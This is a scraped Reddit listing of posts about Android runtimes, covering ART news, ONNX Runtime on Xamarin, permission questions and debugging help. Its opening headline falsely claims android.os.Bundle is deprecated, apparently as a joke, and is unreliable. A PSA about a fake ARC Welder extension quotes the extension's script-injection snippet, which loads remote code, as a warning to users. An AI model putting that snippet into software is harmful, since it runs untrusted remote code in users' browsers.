Android Jetpack Team has officially decided that android.os.Bundle is deprecated in favor of URI strings, using manually concatenated URL-encoded query parameters. Any usage of android.os.Bundle will be a runtime exception above targetSdkVersion 32
πŸ‘︎ 45
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πŸ‘€︎ u/Zhuinden
πŸ“…︎ Dec 15 2021
🚨︎ report
Developers Can Now Use ONNX Runtime (Machine Learning Inference Engine) To Build Machine Learning Applications Across Android And iOS Platforms Through Xamarin

Traditionally, AI models were run over powerful servers in the cloud. Implementing β€œon-device machine learning,” like using mobile phones, is rarely heard of. This lack of mobile-based implementation can be attributed mainly to the lack of storage memory, compute resources, and power required for using AI models. Despite these limitations, mobile-based AI implementation can be pretty helpful under some problem scenarios.

For achieving the goal of implementing mobile-based AI models, Microsoft has recently released ONNX Runtime version 1.10, which supports building C# applications using Xamarin. Xamarin is an open-source platform for building applications using C# and .NET. This is likely to aid developers in building AI models over Android or iOS platforms. This new release enables the building of cross-platform applications using Xamarin.Forms. Microsoft has also added anΒ exampleΒ application in Xamarin, which runs a ResNet classifier using ONNX Runtime’s NuGet package in Android and iOS mobiles. For understanding the detailed steps for adding the ONNX runtime package and learning about Xamarin.Forms applications, one can take a lookΒ here.

Quick Read: https://www.marktechpost.com/2021/12/24/developers-can-now-use-onnx-runtime-machine-learning-inference-engine-to-build-machine-learning-applications-across-android-and-ios-platforms-through-xamarin/

πŸ‘︎ 15
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πŸ‘€︎ u/ai-lover
πŸ“…︎ Dec 24 2021
🚨︎ report
Android Architecture: Runtime Centric Thinking doridori.github.io/Androi…
πŸ‘︎ 9
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πŸ‘€︎ u/kodroid
πŸ“…︎ Nov 09 2021
🚨︎ report
Problem regarding Android development using IntelliJIntelliJ IDEA 2021.2.2 (Edu) Build #IE-212.5284.55, built on October 4, 2021 Runtime version: 11.0.12+7-b1504.28 amd64 VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o. Windows 10 10.0 GC: G1 Young Generation, G1 Old Generation Memory: 992M Cores: 8
πŸ‘︎ 3
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πŸ‘€︎ u/the_last_hope15
πŸ“…︎ Nov 13 2021
🚨︎ report
Runtime game modding with lua that works on android and pc, on Github! v.redd.it/29brncv5glz71
πŸ‘︎ 8
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πŸ‘€︎ u/friuns
πŸ“…︎ Nov 14 2021
🚨︎ report
Google integrated Android Runtime (ART) into the Project Mainline - what are the consequences (to custom ROMs, OEMs, mobile carriers, developers)?

Hey all,

leaving aside Google's assurance this was done to quicker roll out security updates (like there were no issues migrating from version to version), and to ensure stable app behavior across OS versions, isn't it in fact just another attempt to limit the role of the participants of the whole app distribution ecosystem?

What I mean in particular:

  1. does Google Mobile Services (GMS) certification become mandatory for OEMs (mobile phone manufacturers) if they want their own custom ROMs to support this update-on-the-fly feature? In other words - shall Android Open Source Project (AOSP) lack this feature, as AOSP comes without GMS?
  2. don't hardware manufacturers (Qualcomm, Samsung, etc.) become dependant on Google, as (in theory) who can prevent Google from rolling out the update which e.g. slows down certain CPU model(s) on the OS level? In the past this was impossible without OEM's consent (as of the custom ROMs' owner), who - being dependent on hardware supply - won't ever play these games.
  3. what does this novelty mean to manufacturer-independent ROMs, e.g. LineageOS, specifically in terms of their ability to be quickly updated?
  4. is alternative app stores' (e.g. F-Droid) functionality under risk somehow too?
  5. won't developers get even more binded to Google Play (and taken away from alternative app stores), if adaptation of the code to alternative repositories will be needed (can be done when you literally own the ROM, huh?)

Any other risks I've missed here?

Thank you for sharing your thoughts!

πŸ‘︎ 2
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πŸ‘€︎ u/LSDwarf
πŸ“…︎ Oct 04 2021
🚨︎ report
Google will make the Android Runtime (ART) a Mainline module in Android 12 xda-developers.com/google…
πŸ‘︎ 3k
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πŸ‘€︎ u/Fritzkier
πŸ“…︎ Nov 25 2020
🚨︎ report
MIUI 12 12.0.6 Android 11 Playing 30fps Youtube Video uses 60Hz instead of 30Hz Refresh Rate. Probably the reason of much lower battery runtime.
πŸ‘︎ 38
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πŸ‘€︎ u/ggezboye
πŸ“…︎ Mar 26 2021
🚨︎ report
Google will make the Android Runtime (ART) a Mainline module in Android 12 xda-developers.com/google…
πŸ‘︎ 119
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πŸ‘€︎ u/ArmoredPancake
πŸ“…︎ Nov 25 2020
🚨︎ report
C# and F# apps on the JVM and on Android runtime: Bluebonnet translates .NET CIL to Java bytecode. github.com/spaceflint7/bl…
πŸ‘︎ 205
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πŸ‘€︎ u/spaceflint
πŸ“…︎ Aug 26 2020
🚨︎ report
Clean Runtime Permissions in Android techyourchance.com/runtim…
πŸ‘︎ 2
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πŸ‘€︎ u/VasiliyZukanov
πŸ“…︎ Jan 18 2021
🚨︎ report
Google will make the Android Runtime (ART) a Mainline module in Android 12 xda-developers.com/google…
πŸ‘︎ 58
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πŸ‘€︎ u/bartturner
πŸ“…︎ Nov 25 2020
🚨︎ report
can't run or export to android Could not initialize class org.codehaus.groovy.runtime.InvokerHelper

Could not initialize class org.codehaus.groovy.runtime.InvokerHelper

how do I fix this?

πŸ‘︎ 3
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πŸ‘€︎ u/masterblakey
πŸ“…︎ May 07 2021
🚨︎ report
Android Runtime - How Dalvik and ART work? - new video on my YouTube channel :) youtu.be/0J1bm585UCc
πŸ‘︎ 15
πŸ’¬︎
πŸ‘€︎ u/paulina_s
πŸ“…︎ Apr 07 2021
🚨︎ report
Google plans to include the Android Runtime (ART) as an updatable Mainline module in Android 12 xda-developers.com/google…
πŸ‘︎ 103
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πŸ‘€︎ u/connectsteven
πŸ“…︎ Nov 27 2020
🚨︎ report
Taking screenshots in UE4 Android project on runtime

Context:

I'm trying to include a feature in my android AR project which will take screenshot of current screen.

I thought this would be a straightforward exercise as unreal has an in-built console command "HighResScreenshot".

So I mapped this command with a button to execute it.

Problem: But when I created a shipped product apk, the feature is not working at all.

Question: Does Unreal stops executing console commands for a shipped products? Can I toggle it, if I can, what are repercussions for it.

And , is there a better way to handle the screenshot feature, or any other alternative, using the BP, specifically for android.

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πŸ‘€︎ u/ankitpassi
πŸ“…︎ Mar 31 2021
🚨︎ report
ADB Episode 156: Android Runtime Classic (Dalvik) androidbackstage.blogspot…
πŸ‘︎ 5
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πŸ‘€︎ u/dayanruben
πŸ“…︎ Feb 20 2021
🚨︎ report
Jetbrains Runtime with GraalVM for Android Studio 4.0 github.com/ganadist/graal…
πŸ‘︎ 32
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πŸ‘€︎ u/ganadist
πŸ“…︎ Jun 15 2020
🚨︎ report
Android Runtime becoming a Project Mainline module for easy updates in Android 12 androidpolice.com/2020/11…
πŸ‘︎ 94
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πŸ‘€︎ u/NainarB
πŸ“…︎ Nov 25 2020
🚨︎ report
Android app runtime

So I just had an idea: what if one of the reasons for Microsoft using chromium for edge was to be able to use the Android app runtime that is in Chrome? That would enable Android apps very easily for them, and might even allow for Google services?

I haven't messed with chromeOS, and haven't touched the Android runtime in Chrome in over 5 years, so I'm not sure if its really even a thing anymore outside of ChromeOS. The thought just popped in my head this morning though, and made a lot of sense to me.

πŸ‘︎ 6
πŸ’¬︎
πŸ‘€︎ u/ang3l12
πŸ“…︎ Dec 18 2020
🚨︎ report
Texture created at runtime works on Windows, it's a black square on Android

Hi,

I can't wrap my head around this. I have a TextureRect in my UI, the texture is loaded at runtime (from a blob taken from the local SQLite database). This works flawlessly in Windows and displays the correct image in the box, however, when I run the same on Android the same TextureRect is black and doesn't display the image.

If I run the app with the remote debug active while using the app on the phone, I can see that the texture file is correctly created, the method doesn't return an error and it states the correct image size.

I can see the resource correctly created, in the inspector has the correct class and properties. Unfortunately while in debug I can't see a preview of the texture.

The image is created with this code:

onready var profilePicture = get_tree().get_root().find_node("profilePicture", true, false)
var image = Image.new()
var image_error = image.load_jpg_from_buffer(imageFromDb)
if image_error != OK:
    print("Error creating the image")

var tex = ImageTexture.new()
tex.create_from_image(image)

profilePicture.texture = tex

any idea?

Thanks

πŸ‘︎ 2
πŸ’¬︎
πŸ‘€︎ u/rajasi
πŸ“…︎ Feb 12 2021
🚨︎ report
Runtime Mobile Security (RMS) πŸ“±πŸ”₯ - is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime github.com/m0bilesecurity…
πŸ‘︎ 8
πŸ’¬︎
πŸ‘€︎ u/mobilesecurity_
πŸ“…︎ Jan 05 2021
🚨︎ report
Runtime Mobile Security (RMS) πŸ“±πŸ”₯- powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime github.com/m0bilesecurity…
πŸ‘︎ 21
πŸ’¬︎
πŸ‘€︎ u/mobilesecurity_
πŸ“…︎ Aug 31 2020
🚨︎ report
TriLib 2 - Model Loading Package : TriLib is a cross-platform runtime 3D model importer FBX, OBJ, GLTF2, STL, PLY, 3MF, and ZIP files support Cross-platform: Windows, Mac, Linux, UWP, Android, WebGL, and iOSImport models from file-system, web, or any custom source Mesh importing Animation imp assetstore.unity.com/pack…
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πŸ’¬︎
πŸ“…︎ Oct 19 2020
🚨︎ report
Microsoft announces "Project Astoria" - A bridge between Windows and the Android runtime dev.windows.com/en-US/uwp…
πŸ‘︎ 3k
πŸ’¬︎
πŸ‘€︎ u/code_mc
πŸ“…︎ Apr 30 2015
🚨︎ report
Android runtime permissions in one (suspending) function medium.com/@geoffrey.meta…
πŸ‘︎ 22
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πŸ‘€︎ u/D3k4ns
πŸ“…︎ Dec 04 2019
🚨︎ report
PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed reddit.com/r/Android/comm…
πŸ‘︎ 426
πŸ’¬︎
πŸ‘€︎ u/Walter_Bishop_PhD
πŸ“…︎ Jun 29 2018
🚨︎ report
Google Says It Could Replace Dalvik Runtime In Next Version Of Android readwrite.com/2013/11/07/…
πŸ‘︎ 1k
πŸ’¬︎
πŸ‘€︎ u/kismor
πŸ“…︎ Nov 09 2013
🚨︎ report
Runtime Mobile Security (RMS), powered by FRIDA, is a powerful web interface that helps you to manipulate Android Java Classes and Methods at Runtime. github.com/m0bilesecurity…
πŸ‘︎ 84
πŸ’¬︎
πŸ‘€︎ u/0xn3
πŸ“…︎ Mar 28 2020
🚨︎ report
Runtime Mobile Security (RMS) πŸ“±πŸ”₯- powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime github.com/m0bilesecurity…
πŸ‘︎ 2
πŸ’¬︎
πŸ‘€︎ u/mobilesecurity_
πŸ“…︎ Aug 31 2020
🚨︎ report
How to ask for Android permissions at runtime

Hello!

I'm making a MusicDJ-inspired app for Android which requires the "Write external storage" permission.

I'm not planning on releasing it on the Play store for financial reasons. It's more of a passion project.

Now, how do I ask for that permission at runtime, like this. I've found the OS.request_permission() method but it only works with the "Record audio" permission.

At the moment, when I install the app, I have to go into the settings to allow the permission.

πŸ‘︎ 3
πŸ’¬︎
πŸ‘€︎ u/pattlebass
πŸ“…︎ Jul 27 2020
🚨︎ report
Meet ART, Part 1: The New Super-Fast Android Runtime Google Has Been Working On In Secret For Over 2 Years Debuts In KitKat androidpolice.com/2013/11…
πŸ‘︎ 858
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πŸ“…︎ Nov 06 2013
🚨︎ report
QuickPermissions - The most easiest way to handle Android Runtime Permissions github.com/QuickPermissio…
πŸ‘︎ 120
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πŸ‘€︎ u/kirtan403
πŸ“…︎ Feb 16 2018
🚨︎ report
β€œNo Java runtime present” when running Xamarin.UITest for Android

I am in the early process of learning how to automate Xamarin apps for my company. I started out by just cloning the TailWind Traders app from Microsoft to make sure my system is configured correctly, but I'm running into an issue. When I try to execute a test, I get a Mac alert "To use the 'keytool' command-line tool you need to install a JDK". But, when I click on Tools > SDK Manager and then click Locations, I see there is a Java SDK (JDK) at

/Users/kroe761/Library/Developer/Xamarin/jdk/microsoft_dist_openjdk_1.8.0.25

How do I resolve this? Thank you!

πŸ‘︎ 2
πŸ’¬︎
πŸ‘€︎ u/kroe761
πŸ“…︎ Jun 25 2020
🚨︎ report
Company does Microsoft's job, attempts to bring Android runtime to Windows - MSPoweruser mspoweruser.com/company-m…
πŸ‘︎ 70
πŸ’¬︎
πŸ‘€︎ u/Brassdude
πŸ“…︎ Feb 04 2018
🚨︎ report
PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It is pretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

> <b>' + a[f].tbParams.title + ''s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + ''s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I've put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

It is for

... keep reading on reddit ➑

πŸ‘︎ 503
πŸ’¬︎
πŸ‘€︎ u/Walter_Bishop_PhD
πŸ“…︎ Jun 29 2018
🚨︎ report
For those who recently migrate from Google Drive Android API to Google Drive REST API, is GET_ACCOUNT runtime permission ever required?

Hi, for those who recently trying to migrate from Google Drive Android API to Google Drive REST API, is GET_ACCOUNT runtime permission ever required?

From my past old experience on REST API v2, and current v3 example code documentatiinfrom Google, it seem that such permission is required.

However, when I actual test run the example app, I notice that such permission isn't required.

I prefer not to have permission required, as such permission pop-up is really annoying. But, I would like to confirm on this, before removing such permission.

I post the tech detail here: https://stackoverflow.com/q/53941095/72437

For those who have experience on v3 API, do you have any input on this?

πŸ‘︎ 28
πŸ’¬︎
πŸ‘€︎ u/yccheok
πŸ“…︎ Dec 27 2018
🚨︎ report
App Runtime modified to run any Android app on Chrome OS github.com/vladikoff/chro…
πŸ‘︎ 475
πŸ’¬︎
πŸ‘€︎ u/Shadesta9
πŸ“…︎ Sep 18 2014
🚨︎ report
Developers Can Now Use ONNX Runtime (Machine Learning Inference Engine) To Build Machine Learning Applications Across Android And iOS Platforms Through Xamarin

Traditionally, AI models were run over powerful servers in the cloud. Implementing β€œon-device machine learning,” like using mobile phones, is rarely heard of. This lack of mobile-based implementation can be attributed mainly to the lack of storage memory, compute resources, and power required for using AI models. Despite these limitations, mobile-based AI implementation can be pretty helpful under some problem scenarios.

For achieving the goal of implementing mobile-based AI models, Microsoft has recently released ONNX Runtime version 1.10, which supports building C# applications using Xamarin. Xamarin is an open-source platform for building applications using C# and .NET. This is likely to aid developers in building AI models over Android or iOS platforms. This new release enables the building of cross-platform applications using Xamarin.Forms. Microsoft has also added anΒ exampleΒ application in Xamarin, which runs a ResNet classifier using ONNX Runtime’s NuGet package in Android and iOS mobiles. For understanding the detailed steps for adding the ONNX runtime package and learning about Xamarin.Forms applications, one can take a lookΒ here.

Quick Read: https://www.marktechpost.com/2021/12/24/developers-can-now-use-onnx-runtime-machine-learning-inference-engine-to-build-machine-learning-applications-across-android-and-ios-platforms-through-xamarin/

https://preview.redd.it/zsto5v9l9j781.png?width=1920&format=png&auto=webp&s=a3c6833ddd94a4a34b11d14b9e1b04ffd299c792

πŸ‘︎ 3
πŸ’¬︎
πŸ‘€︎ u/ai-lover
πŸ“…︎ Dec 24 2021
🚨︎ report

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